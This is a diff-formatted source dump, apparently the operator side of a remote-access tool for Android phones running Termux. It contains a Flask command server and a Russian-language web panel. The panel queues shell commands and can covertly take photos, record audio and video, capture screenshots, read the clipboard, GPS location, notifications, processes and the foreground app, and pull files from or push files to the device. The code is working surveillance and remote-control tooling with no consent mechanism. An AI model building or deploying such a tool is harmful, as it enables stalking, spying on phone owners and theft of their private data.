|
87 |
const data = await response.json();
|
88 |
|
89 |
+
if (data.output && (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils')) {
|
|
|
|
|
90 |
document.getElementById('outputArea').innerText = data.output;
|
91 |
}
|
92 |
+
|
93 |
if (data.last_heartbeat) {
|
94 |
const statusDiv = document.getElementById('clientStatus');
|
95 |
const lastBeat = new Date(data.last_heartbeat);
|
96 |
const now = new Date();
|
97 |
const diffSeconds = (now - lastBeat) / 1000;
|
98 |
+
if (diffSeconds < 45) {
|
99 |
statusDiv.className = 'status online';
|
100 |
statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
|
101 |
} else {
|
|
|
107 |
document.getElementById('clientStatus').innerText = 'Клиент ОФФЛАЙН';
|
108 |
}
|
109 |
|
110 |
+
if (data.current_path && currentView === 'files') {
|
111 |
+
document.getElementById('currentPathDisplay').innerText = data.current_path;
|
112 |
+
if (data.output && data.output.startsWith("Содержимое") ) {
|
113 |
renderFileList(data.output, data.current_path);
|
114 |
+
} else if (data.output && currentView === 'files') { // If output is error/message for files view
|
115 |
document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`;
|
116 |
}
|
117 |
}
|
118 |
+
|
119 |
const filesResponse = await fetch('/list_uploaded_files');
|
120 |
const filesData = await filesResponse.json();
|
121 |
const serverFileListUl = document.getElementById('serverUploadedFiles');
|
122 |
+
serverFileListUl.innerHTML = '';
|
123 |
if (filesData.files && filesData.files.length > 0) {
|
124 |
filesData.files.forEach(file => {
|
125 |
const li = document.createElement('li');
|
126 |
const a = document.createElement('a');
|
127 |
a.href = '/uploads_from_client/' + encodeURIComponent(file);
|
128 |
a.textContent = file;
|
129 |
+
a.target = '_blank';
|
130 |
li.appendChild(a);
|
131 |
serverFileListUl.appendChild(li);
|
132 |
});
|
133 |
} else {
|
134 |
serverFileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>';
|
135 |
}
|
136 |
+
|
137 |
if (data.device_status && currentView === 'device_status') {
|
138 |
updateDeviceStatusDisplay(data.device_status);
|
139 |
}
|
|
|
143 |
|
144 |
} catch (error) {
|
145 |
console.error("Error refreshing data:", error);
|
146 |
+
if (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils') {
|
|
|
147 |
document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
|
148 |
}
|
149 |
}
|
150 |
}
|
151 |
+
|
152 |
function updateDeviceStatusDisplay(status) {
|
153 |
+
let batteryText = '<strong>Заряд:</strong> Н/Д';
|
154 |
+
if (status.battery) {
|
155 |
+
if (status.battery.error) batteryText = `<strong>Заряд:</strong> Ошибка (${status.battery.error})`;
|
156 |
+
else batteryText = `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})`;
|
|
|
|
|
157 |
}
|
158 |
+
document.getElementById('batteryStatus').innerHTML = batteryText;
|
159 |
+
|
160 |
+
let locationText = '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
|
161 |
+
let mapLink = '';
|
162 |
+
if (status.location) {
|
163 |
+
if (status.location.error) locationText = `<strong>Локация:</strong> Ошибка (${status.location.error})`;
|
164 |
+
else {
|
165 |
+
locationText = `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)`;
|
166 |
+
if (status.location.latitude && status.location.longitude) {
|
167 |
+
mapLink = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`;
|
168 |
+
}
|
169 |
+
}
|
170 |
+
}
|
171 |
+
document.getElementById('locationStatus').innerHTML = locationText;
|
172 |
+
document.getElementById('locationMapLink').innerHTML = mapLink;
|
173 |
+
|
174 |
document.getElementById('processesStatus').innerHTML = status.processes ? `<pre>${status.processes}</pre>` : '<strong>Процессы:</strong> Н/Д (Запросите для обновления)';
|
175 |
+
|
176 |
+
let activityText = '<strong>Текущая активность:</strong> Н/Д';
|
177 |
+
if (status.foreground_activity) {
|
178 |
+
activityText = `<strong>Текущая активность:</strong> <pre>${status.foreground_activity}</pre>`;
|
179 |
+
}
|
180 |
+
document.getElementById('activityStatus').innerHTML = activityText;
|
181 |
}
|
182 |
|
183 |
function renderFileList(lsOutput, currentPath) {
|
184 |
const fileListUl = document.getElementById('fileList');
|
185 |
fileListUl.innerHTML = '';
|
186 |
+
const lines = lsOutput.split('\\n'); // Assuming server sends \n for newlines
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
187 |
|
188 |
+
let isRootOrHome = (currentPath === '/' || currentPath === '~'); // Simplified check
|
189 |
+
// A more robust check might involve comparing to actual home path from server if available
|
190 |
+
|
191 |
+
if (!isRootOrHome && currentPath !== osPathToUserFriendly(currentPath, true)) { // Avoid '..' if already at a root-like path
|
192 |
const parentLi = document.createElement('li');
|
193 |
parentLi.className = 'dir';
|
194 |
const parentA = document.createElement('a');
|
|
|
201 |
|
202 |
lines.forEach(line => {
|
203 |
if (line.trim() === '' || line.startsWith("Содержимое")) return;
|
204 |
+
const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/);
|
205 |
+
if (!parts) return;
|
206 |
+
|
207 |
+
const type = parts[1];
|
|
|
|
|
|
|
|
|
|
|
208 |
const name = parts[2].trim();
|
209 |
+
|
210 |
const li = document.createElement('li');
|
211 |
const nameSpan = document.createElement('span');
|
212 |
const a = document.createElement('a');
|
213 |
a.href = '#';
|
214 |
+
|
215 |
if (type === '[D]') {
|
216 |
li.className = 'dir';
|
217 |
a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
|
218 |
a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
|
219 |
nameSpan.appendChild(a);
|
220 |
+
} else {
|
221 |
li.className = 'file';
|
222 |
a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
|
223 |
+
// a.onclick = (e) => { e.preventDefault(); }; // No action on file click itself
|
|
|
224 |
nameSpan.appendChild(a);
|
225 |
|
226 |
const downloadBtn = document.createElement('button');
|
227 |
downloadBtn.className = 'download-btn';
|
228 |
downloadBtn.textContent = 'Скачать';
|
229 |
downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
|
230 |
+
li.appendChild(nameSpan);
|
231 |
+
li.appendChild(downloadBtn);
|
232 |
}
|
233 |
+
if (type === '[D]') li.appendChild(nameSpan);
|
234 |
fileListUl.appendChild(li);
|
235 |
});
|
236 |
}
|
237 |
+
|
238 |
function renderNotifications(notifications) {
|
239 |
const notificationListDiv = document.getElementById('notificationList');
|
240 |
notificationListDiv.innerHTML = '';
|
|
|
242 |
notifications.forEach(n => {
|
243 |
const itemDiv = document.createElement('div');
|
244 |
itemDiv.className = 'notification-item';
|
|
|
|
|
245 |
itemDiv.innerHTML = `
|
246 |
+
<strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
|
247 |
<span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
|
248 |
<span><strong>Тег:</strong> ${n.tag || 'N/A'}, <strong>Ключ:</strong> ${n.key || 'N/A'}</span>
|
249 |
<span><strong>Когда:</strong> ${n.when ? new Date(n.when).toLocaleString() : 'N/A'}</span>
|
250 |
+
<p>${n.content || 'Нет содержимого'}</p>
|
251 |
`;
|
252 |
notificationListDiv.appendChild(itemDiv);
|
253 |
});
|
|
|
255 |
notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
|
256 |
}
|
257 |
}
|
258 |
+
|
259 |
+
function osPathToUserFriendly(path, checkRoot = false) { // This is a client-side helper, might not perfectly match server logic
|
260 |
+
if (path.startsWith('/data/data/com.termux/files/home')) {
|
261 |
+
let relPath = path.substring('/data/data/com.termux/files/home'.length);
|
262 |
+
if (relPath === '' || relPath === '/') return '~';
|
263 |
+
return '~' + relPath;
|
264 |
+
}
|
265 |
+
if (checkRoot && path === '/') return '/';
|
266 |
+
return path;
|
267 |
+
}
|
268 |
+
|
269 |
async function sendGenericCommand(payload) {
|
270 |
try {
|
271 |
+
// Set output area text based on context
|
272 |
+
if (currentView === 'files' && (payload.command_type === 'list_files' || payload.command_type === 'request_download_file')) {
|
273 |
+
// For file operations, output is handled by fileList or global output area later
|
274 |
+
} else if (document.getElementById('outputArea')) {
|
275 |
document.getElementById('outputArea').innerText = "Отправка команды...";
|
|
|
|
|
276 |
}
|
277 |
|
278 |
const response = await fetch('/send_command', {
|
|
|
282 |
});
|
283 |
if (!response.ok) {
|
284 |
console.error("Server error sending command");
|
285 |
+
if (document.getElementById('outputArea')) document.getElementById('outputArea').innerText = "Ошибка сервера при отправке команды.";
|
286 |
+
}
|
287 |
+
// Result will be updated by refreshOutput
|
|
|
|
|
288 |
} catch (error) {
|
289 |
console.error("Network error sending command:", error);
|
290 |
+
if (document.getElementById('outputArea')) document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды.";
|
|
|
|
|
291 |
}
|
292 |
}
|
293 |
|
294 |
function navigateTo(itemName) {
|
295 |
sendGenericCommand({ command_type: 'list_files', path: itemName });
|
296 |
+
if (currentView === 'files') {
|
297 |
document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>';
|
298 |
}
|
299 |
}
|
300 |
|
301 |
function requestDownloadFile(filename) {
|
302 |
sendGenericCommand({ command_type: 'request_download_file', filename: filename });
|
303 |
+
if (document.getElementById('outputArea')) {
|
304 |
+
document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
|
|
|
305 |
}
|
|
|
306 |
}
|
307 |
+
|
308 |
function refreshClientPathDisplay(){
|
309 |
if (document.getElementById('currentPathDisplay')) {
|
310 |
fetch('/get_status_output').then(r=>r.json()).then(data => {
|
|
|
314 |
}
|
315 |
|
316 |
window.onload = () => {
|
317 |
+
showSection('dashboard');
|
318 |
+
setInterval(refreshOutput, 4000);
|
319 |
+
refreshOutput();
|
320 |
};
|
321 |
+
|
322 |
function submitShellCommand(event) {
|
323 |
event.preventDefault();
|
324 |
const command = document.getElementById('command_str').value;
|
325 |
sendGenericCommand({ command_type: 'shell', command: command });
|
326 |
document.getElementById('command_str').value = '';
|
327 |
}
|
328 |
+
|
329 |
+
function submitMediaCommand(type, paramsConfig) {
|
330 |
let payload = { command_type: type };
|
331 |
+
if (paramsConfig) {
|
332 |
+
paramsConfig.forEach(p => {
|
333 |
+
const inputElement = document.getElementById(p.id);
|
334 |
+
if (inputElement) {
|
335 |
+
const value = inputElement.value;
|
336 |
+
if (value) payload[p.name] = value;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
337 |
}
|
338 |
+
});
|
339 |
}
|
340 |
sendGenericCommand(payload);
|
341 |
}
|
342 |
+
|
343 |
async function handleUploadToServer(event) {
|
344 |
event.preventDefault();
|
345 |
const fileInput = document.getElementById('fileToUploadToDevice');
|
346 |
const targetPathInput = document.getElementById('targetDevicePath');
|
347 |
+
|
348 |
if (!fileInput.files[0]) {
|
349 |
alert("Пожалуйста, выберите файл для загрузки.");
|
350 |
return;
|
|
|
357 |
const formData = new FormData();
|
358 |
formData.append('file_to_device', fileInput.files[0]);
|
359 |
formData.append('target_path_on_device', targetPathInput.value);
|
360 |
+
|
361 |
document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...';
|
362 |
|
363 |
try {
|
|
|
368 |
const result = await response.json();
|
369 |
if (result.status === 'success') {
|
370 |
document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
|
371 |
+
sendGenericCommand({
|
372 |
+
command_type: 'receive_file',
|
373 |
+
server_filename: result.server_filename,
|
374 |
+
target_path_on_device: result.target_path_on_device
|
|
|
|
|
375 |
});
|
376 |
} else {
|
377 |
document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
|
|
|
380 |
document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файла на сервер: ' + error;
|
381 |
}
|
382 |
}
|
383 |
+
|
384 |
function getClipboard() {
|
385 |
sendGenericCommand({ command_type: 'clipboard_get' });
|
386 |
}
|
|
|
399 |
function requestDeviceStatus(item = null) {
|
400 |
let payload = { command_type: 'get_device_status' };
|
401 |
if (item) {
|
402 |
+
payload.item = item;
|
403 |
}
|
404 |
sendGenericCommand(payload);
|
405 |
+
// Clear specific status part to show "loading" or wait for refreshOutput
|
406 |
+
if (item === 'location' && document.getElementById('locationStatus')) document.getElementById('locationStatus').innerHTML = '<strong>Локация:</strong> Загрузка...';
|
407 |
+
if (item === 'battery' && document.getElementById('batteryStatus')) document.getElementById('batteryStatus').innerHTML = '<strong>Заряд:</strong> Загрузка...';
|
408 |
+
if (item === 'processes' && document.getElementById('processesStatus')) document.getElementById('processesStatus').innerHTML = '<strong>Процессы:</strong> Загрузка...';
|
409 |
+
if (item === 'foreground_activity' && document.getElementById('activityStatus')) document.getElementById('activityStatus').innerHTML = '<strong>Текущая активность:</strong> Загрузка...';
|
410 |
+
|
411 |
}
|
412 |
function requestNotifications() {
|
413 |
sendGenericCommand({ command_type: 'get_notifications' });
|
414 |
+
if (document.getElementById('notificationList')) document.getElementById('notificationList').innerHTML = '<p>Загрузка уведомлений...</p>';
|
415 |
}
|
416 |
|
417 |
</script>
|
|
|
462 |
<div id="locationMapLink" class="status-item"></div>
|
463 |
<button onclick="requestDeviceStatus('location')">Обновить геолокацию</button>
|
464 |
</div>
|
465 |
+
<div class="control-section">
|
466 |
<h3>Запущенные процессы (пользователя Termux)</h3>
|
467 |
<div id="processesStatus" class="status-item"><strong>Процессы:</strong> Н/Д</div>
|
468 |
<button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
|
469 |
</div>
|
470 |
+
<div class="control-section">
|
471 |
+
<h3>Активность (Фокусное приложение)</h3>
|
472 |
+
<div id="activityStatus" class="status-item"><strong>Текущая активность:</strong> Н/Д</div>
|
473 |
+
<button onclick="requestDeviceStatus('foreground_activity')">Получить текущую активность</button>
|
474 |
+
<p style="font-size:0.8em; color:#777;">Это не кейлоггер, а информация о приложении в фокусе. Помогает понять, что используется на устройстве.</p>
|
475 |
+
</div>
|
476 |
</div>
|
477 |
+
|
478 |
<div id="notifications" class="container hidden-section">
|
479 |
<h2>Уведомления устройства</h2>
|
480 |
<button onclick="requestNotifications()">Обновить уведомления</button>
|
|
|
491 |
<p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
|
492 |
<button onclick="navigateTo('~')">Домашняя папка (~)</button>
|
493 |
<button onclick="navigateTo('/sdcard/')">Внутренняя память (/sdcard/)</button>
|
494 |
+
<input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:5px; margin-right:5px; vertical-align: middle;">
|
495 |
+
<button onclick="navigateTo(document.getElementById('customPathInput').value)">Перейти к пути</button>
|
496 |
<div class="file-browser control-section">
|
497 |
<h3>Содержимое директории:</h3>
|
498 |
<ul id="fileList">
|
|
|
504 |
<form id="uploadForm" onsubmit="handleUploadToServer(event)">
|
505 |
<label for="fileToUploadToDevice">Выберите файл:</label>
|
506 |
<input type="file" id="fileToUploadToDevice" name="file_to_device" required>
|
507 |
+
<label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/` или `/sdcard/file.txt`):</label>
|
508 |
<input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required>
|
509 |
<button type="submit">Загрузить на устройство</button>
|
510 |
</form>
|
|
|
521 |
</form>
|
522 |
<div class="control-section" style="margin-top:20px;">
|
523 |
<h3>Вывод команды:</h3>
|
524 |
+
<pre id="outputAreaShellCopy"></pre>
|
525 |
</div>
|
526 |
</div>
|
527 |
|
528 |
<div id="media" class="container hidden-section">
|
529 |
<h2>Мультимедиа</h2>
|
530 |
<div class="control-section">
|
531 |
+
<button onclick="submitMediaCommand('take_photo', [{name: 'camera_id', id: 'camera_id_input'}])">Сделать фото</button>
|
532 |
<label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
|
533 |
<input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
|
534 |
</div>
|
535 |
<div class="control-section">
|
536 |
+
<button onclick="submitMediaCommand('record_audio', [{name: 'duration', id: 'audio_duration_input'}])">Записать аудио</button>
|
537 |
<label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
538 |
<input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
|
539 |
</div>
|
540 |
+
<div class="control-section">
|
541 |
+
<button onclick="submitMediaCommand('record_video', [{name: 'duration', id: 'video_duration_input'}, {name: 'camera_id', id: 'video_camera_id_input'}])">Записать видео</button>
|
542 |
<label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
543 |
<input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
|
544 |
<label for="video_camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
|
545 |
<input type="text" id="video_camera_id_input" value="0" style="width:50px; display:inline-block;">
|
546 |
</div>
|
547 |
<div class="control-section">
|
548 |
+
<button onclick="submitMediaCommand('screenshot', [])">Сделать скриншот</button>
|
549 |
</div>
|
550 |
<div class="control-section" style="margin-top:20px;">
|
551 |
<h3>Результат операции:</h3>
|
552 |
+
<pre id="outputAreaMediaCopy"></pre>
|
553 |
</div>
|
554 |
</div>
|
555 |
|
|
|
565 |
</div>
|
566 |
<div class="control-section" style="margin-top:20px;">
|
567 |
<h3>Результат операции с буфером:</h3>
|
568 |
+
<pre id="outputAreaClipboardCopy"></pre>
|
569 |
</div>
|
570 |
</div>
|
571 |
|
|
|
578 |
</div>
|
579 |
<div class="control-section" style="margin-top:20px;">
|
580 |
<h3>Результат операции:</h3>
|
581 |
+
<pre id="outputAreaUtilsCopy"></pre>
|
582 |
</div>
|
583 |
</div>
|
584 |
+
|
585 |
<div id="uploads" class="container hidden-section">
|
586 |
<h2>Файлы, загруженные С клиента на сервер</h2>
|
587 |
<div class="control-section">
|
|
|
592 |
</div>
|
593 |
</div>
|
594 |
<script>
|
595 |
+
// This observer copies content from the main outputArea to section-specific ones
|
596 |
+
// It's placed at the end to ensure all elements are loaded
|
597 |
document.addEventListener('DOMContentLoaded', () => {
|
598 |
const outputArea = document.getElementById('outputArea');
|
599 |
const outputAreaShellCopy = document.getElementById('outputAreaShellCopy');
|
600 |
const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
|
601 |
const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
|
602 |
const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
|
603 |
+
|
604 |
const observer = new MutationObserver(() => {
|
605 |
+
if (currentView === 'shell' && outputAreaShellCopy) outputAreaShellCopy.innerText = outputArea.innerText;
|
606 |
+
if (currentView === 'media' && outputAreaMediaCopy) outputAreaMediaCopy.innerText = outputArea.innerText;
|
607 |
+
if (currentView === 'clipboard' && outputAreaClipboardCopy) outputAreaClipboardCopy.innerText = outputArea.innerText;
|
608 |
+
if (currentView === 'utils' && outputAreaUtilsCopy) outputAreaUtilsCopy.innerText = outputArea.innerText;
|
|
|
609 |
});
|
610 |
|
|
|
611 |
if (outputArea) {
|
612 |
+
observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
|
613 |
}
|
614 |
});
|
615 |
</script>
|
|
|
623 |
|
624 |
@app.route('/send_command', methods=['POST'])
|
625 |
def handle_send_command():
|
626 |
+
global pending_command, command_output, file_to_send_to_client
|
627 |
|
628 |
data = request.json
|
629 |
+
command_output = "Ожидание выполнения..."
|
630 |
|
631 |
command_type = data.get('command_type')
|
632 |
|
|
|
643 |
pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
|
644 |
elif command_type == 'record_audio':
|
645 |
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
|
646 |
+
elif command_type == 'record_video': # New command
|
647 |
pending_command = {
|
648 |
+
'type': 'record_video',
|
649 |
+
'camera_id': data.get('camera_id', '0'),
|
650 |
+
'duration': data.get('duration', '10')
|
651 |
}
|
652 |
elif command_type == 'screenshot':
|
653 |
pending_command = {'type': 'screenshot'}
|
|
|
657 |
pending_command = {'type': 'shell', 'command': command_str}
|
658 |
else:
|
659 |
command_output = "Ошибка: Команда не указана."
|
660 |
+
elif command_type == 'receive_file':
|
661 |
+
server_filename = data.get('server_filename')
|
662 |
target_path_on_device = data.get('target_path_on_device')
|
663 |
+
if server_filename and target_path_on_device:
|
|
|
|
|
664 |
file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
|
665 |
if os.path.exists(file_path_on_server):
|
666 |
pending_command = {
|
667 |
+
'type': 'receive_file',
|
668 |
'download_url': url_for('download_to_client', filename=server_filename, _external=True),
|
669 |
'target_path': target_path_on_device,
|
670 |
+
'original_filename': os.path.basename(server_filename.split('_', 1)[1] if '_' in server_filename else server_filename) # Try to get original name
|
671 |
}
|
672 |
+
# file_to_send_to_client = None # This variable seems unused, perhaps remove
|
673 |
else:
|
674 |
command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
|
675 |
else:
|
676 |
+
command_output = "Ошибка: Недостаточно данных для отправки файла клиенту."
|
|
|
|
|
677 |
elif command_type == 'clipboard_get':
|
678 |
pending_command = {'type': 'clipboard_get'}
|
679 |
elif command_type == 'clipboard_set':
|
|
|
686 |
else:
|
687 |
command_output = "Ошибка: URL для открытия не указан."
|
688 |
elif command_type == 'get_device_status':
|
689 |
+
item_requested = data.get('item')
|
690 |
pending_command = {'type': 'get_device_status', 'item': item_requested}
|
691 |
elif command_type == 'get_notifications':
|
692 |
pending_command = {'type': 'get_notifications'}
|
693 |
else:
|
694 |
command_output = "Неизвестный тип команды."
|
695 |
+
|
696 |
return jsonify({'status': 'command_queued'})
|
697 |
|
698 |
|
|
|
701 |
global pending_command
|
702 |
if pending_command:
|
703 |
cmd_to_send = pending_command
|
704 |
+
pending_command = None
|
705 |
return jsonify(cmd_to_send)
|
706 |
+
return jsonify(None)
|
707 |
|
708 |
@app.route('/submit_client_data', methods=['POST'])
|
709 |
def submit_client_data():
|
710 |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
|
711 |
+
|
712 |
data = request.json
|
713 |
if not data:
|
714 |
return jsonify({'status': 'error', 'message': 'No data received'}), 400
|
|
|
717 |
|
718 |
if 'output' in data:
|
719 |
new_output = data['output']
|
720 |
+
max_len = 20000
|
721 |
if len(new_output) > max_len:
|
722 |
command_output = new_output[:max_len] + "\n... (output truncated)"
|
723 |
else:
|
|
|
728 |
|
729 |
if 'device_status_update' in data:
|
730 |
update = data['device_status_update']
|
731 |
+
for key, value in update.items():
|
732 |
device_status_info[key] = value
|
733 |
+
# If an explicit status update came, it might be the primary "output"
|
734 |
+
if 'output' not in data and (command_output == "Ожидание выполнения..." or command_output == "Клиент онлайн.") :
|
735 |
+
command_output = "Статус устройства обновлен."
|
736 |
+
|
737 |
+
|
738 |
if 'notifications_update' in data:
|
739 |
+
notifications_history = data['notifications_update']
|
740 |
+
if 'output' not in data and (command_output == "Ожидание выполнения..." or command_output == "Клиент онлайн."):
|
741 |
+
command_output = "Список уведомлений обновлен."
|
742 |
|
743 |
|
744 |
if 'heartbeat' in data and data['heartbeat']:
|
745 |
+
# Only set to "Клиент онлайн" if no other more specific output was generated by the heartbeat or other updates
|
746 |
+
if ('output' not in data and
|
747 |
+
'device_status_update' not in data and
|
748 |
+
'notifications_update' not in data and
|
749 |
+
(command_output == "Ожидание выполнения..." or command_output == "Клиент онлайн.")): # Avoid overwriting real output
|
750 |
+
command_output = "Клиент онлайн."
|
751 |
return jsonify({'status': 'heartbeat_ok'})
|
752 |
+
|
753 |
return jsonify({'status': 'data_received'})
|
754 |
|
755 |
@app.route('/upload_from_client', methods=['POST'])
|
|
|
757 |
global command_output, last_client_heartbeat
|
758 |
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
|
759 |
if 'file' not in request.files:
|
760 |
+
# This error should ideally be part of the response to the client's upload,
|
761 |
+
# but client_uploads_file_to_server doesn't use this response directly for its own output.
|
762 |
+
# So, we update the general command_output.
|
763 |
+
error_msg = "Ошибка на сервере: Файл не был отправлен клиентом (нет 'file' в request.files)."
|
764 |
+
if command_output == "Ожидание выполнения...": command_output = error_msg
|
765 |
+
return jsonify({'status': 'error', 'message': 'No file part'}), 400 # HTTP error for the request itself
|
|
|
|
|
766 |
|
767 |
+
file = request.files['file']
|
768 |
if file.filename == '':
|
769 |
+
error_msg = "Ошибка на сервере: Клиент отправил файл без имени."
|
770 |
+
if command_output == "Ожидание выполнения...": command_output = error_msg
|
771 |
+
return jsonify({'status': 'error', 'message': 'No selected file'}), 400
|
772 |
|
773 |
if file:
|
774 |
+
filename = werkzeug.utils.secure_filename(file.filename)
|
775 |
|
776 |
+
# Ensure unique filenames on server
|
|
|
|
|
|
|
|
|
|
|
777 |
base_name, ext = os.path.splitext(filename)
|
778 |
counter = 0
|
779 |
+
# Append timestamp to avoid collision and help sorting, then counter if needed
|
780 |
+
# Using a more unique initial name might be better (e.g., timestamp + original name)
|
781 |
+
unique_filename_base = f"{base_name}_{int(datetime.datetime.utcnow().timestamp())}"
|
782 |
+
|
783 |
+
filepath_candidate = os.path.join(app.config['UPLOAD_FOLDER'], f"{unique_filename_base}{ext}")
|
784 |
|
785 |
+
while os.path.exists(filepath_candidate):
|
786 |
counter += 1
|
787 |
+
filepath_candidate = os.path.join(app.config['UPLOAD_FOLDER'], f"{unique_filename_base}_{counter}{ext}")
|
788 |
+
|
789 |
+
final_filename = os.path.basename(filepath_candidate)
|
790 |
|
791 |
try:
|
792 |
+
file.save(filepath_candidate)
|
793 |
+
# The client_uploads_file_to_server function in newfile.py will form its own success/error message.
|
794 |
+
# This route's response is mainly for the HTTP request itself.
|
795 |
+
# We can update `command_output` if the client didn't explicitly request this upload (e.g. for photo/audio)
|
796 |
+
origin_command_type = request.form.get("origin_command_type", "unknown")
|
797 |
+
if origin_command_type != "request_download_file": # If it's an auto-upload like photo, audio, video
|
798 |
+
if command_output == "Ожидание выполнения...": # Don't overwrite more specific output
|
799 |
+
command_output = f"Файл '{final_filename}' (тип: {origin_command_type}) успешно загружен С клиента."
|
800 |
+
else: # If it was 'request_download_file', the client_uploads_file_to_server will generate its own message.
|
801 |
+
pass
|
802 |
+
|
803 |
+
return jsonify({'status': 'success', 'filename': final_filename, 'message': f'File {final_filename} uploaded.'})
|
804 |
except Exception as e:
|
805 |
+
error_msg = f"Ошибка сохранения файла от клиента: {str(e)}"
|
806 |
+
if command_output == "Ожидание выполнения...": command_output = error_msg
|
807 |
return jsonify({'status': 'error', 'message': str(e)}), 500
|
|
|
|
|
808 |
|
809 |
|
810 |
@app.route('/get_status_output', methods=['GET'])
|
811 |
def get_status_output_route():
|
812 |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
|
813 |
return jsonify({
|
814 |
+
'output': command_output,
|
815 |
'last_heartbeat': last_client_heartbeat,
|
816 |
'current_path': current_client_path,
|
817 |
'device_status': device_status_info,
|
818 |
+
'notifications': notifications_history
|
819 |
})
|
820 |
|
821 |
@app.route('/uploads_from_client/<path:filename>')
|
|
|
825 |
@app.route('/list_uploaded_files')
|
826 |
def list_uploaded_files_route():
|
827 |
files = []
|
|
|
828 |
try:
|
|
|
|
|
|
|
829 |
# Sort files by modification time, newest first
|
830 |
+
file_paths = [os.path.join(app.config['UPLOAD_FOLDER'], f) for f in os.listdir(app.config['UPLOAD_FOLDER']) if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f))]
|
831 |
+
file_paths.sort(key=lambda f: os.path.getmtime(f), reverse=True)
|
832 |
+
files = [os.path.basename(f) for f in file_paths]
|
833 |
except Exception as e:
|
834 |
app.logger.error(f"Error listing uploaded files: {e}")
|
835 |
+
pass
|
836 |
return jsonify({'files': files})
|
837 |
|
838 |
|
839 |
@app.route('/upload_to_server_for_client', methods=['POST'])
|
840 |
def upload_to_server_for_client_route():
|
841 |
+
global command_output # Use global command_output to provide feedback
|
|
|
842 |
if 'file_to_device' not in request.files:
|
843 |
return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
|
844 |
+
|
845 |
file = request.files['file_to_device']
|
846 |
target_path_on_device = request.form.get('target_path_on_device')
|
847 |
|
848 |
if file.filename == '':
|
849 |
+
return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
|
850 |
+
|
851 |
if not target_path_on_device:
|
852 |
return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
|
853 |
|
854 |
if file:
|
855 |
original_filename = werkzeug.utils.secure_filename(file.filename)
|
856 |
+
# Use UUID to ensure server-side filename is unique to avoid conflicts before sending
|
857 |
+
server_side_filename = str(uuid.uuid4()) + "_" + original_filename
|
858 |
filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
|
859 |
+
|
860 |
try:
|
861 |
file.save(filepath_on_server)
|
862 |
+
# Update global command_output for user feedback in the main panel
|
863 |
command_output = f"Файл {original_filename} загружен на сервер (как {server_side_filename}), готов к отправке клиенту в {target_path_on_device}."
|
|
|
864 |
return jsonify({
|
865 |
+
'status': 'success',
|
866 |
+
'server_filename': server_side_filename, # This is the unique name on server's 'uploads_to_client'
|
867 |
+
'original_filename': original_filename, # Client will use this to save the file
|
868 |
'target_path_on_device': target_path_on_device
|
869 |
})
|
870 |
except Exception as e:
|
871 |
+
app.logger.error(f"Error saving file for client: {e}")
|
872 |
+
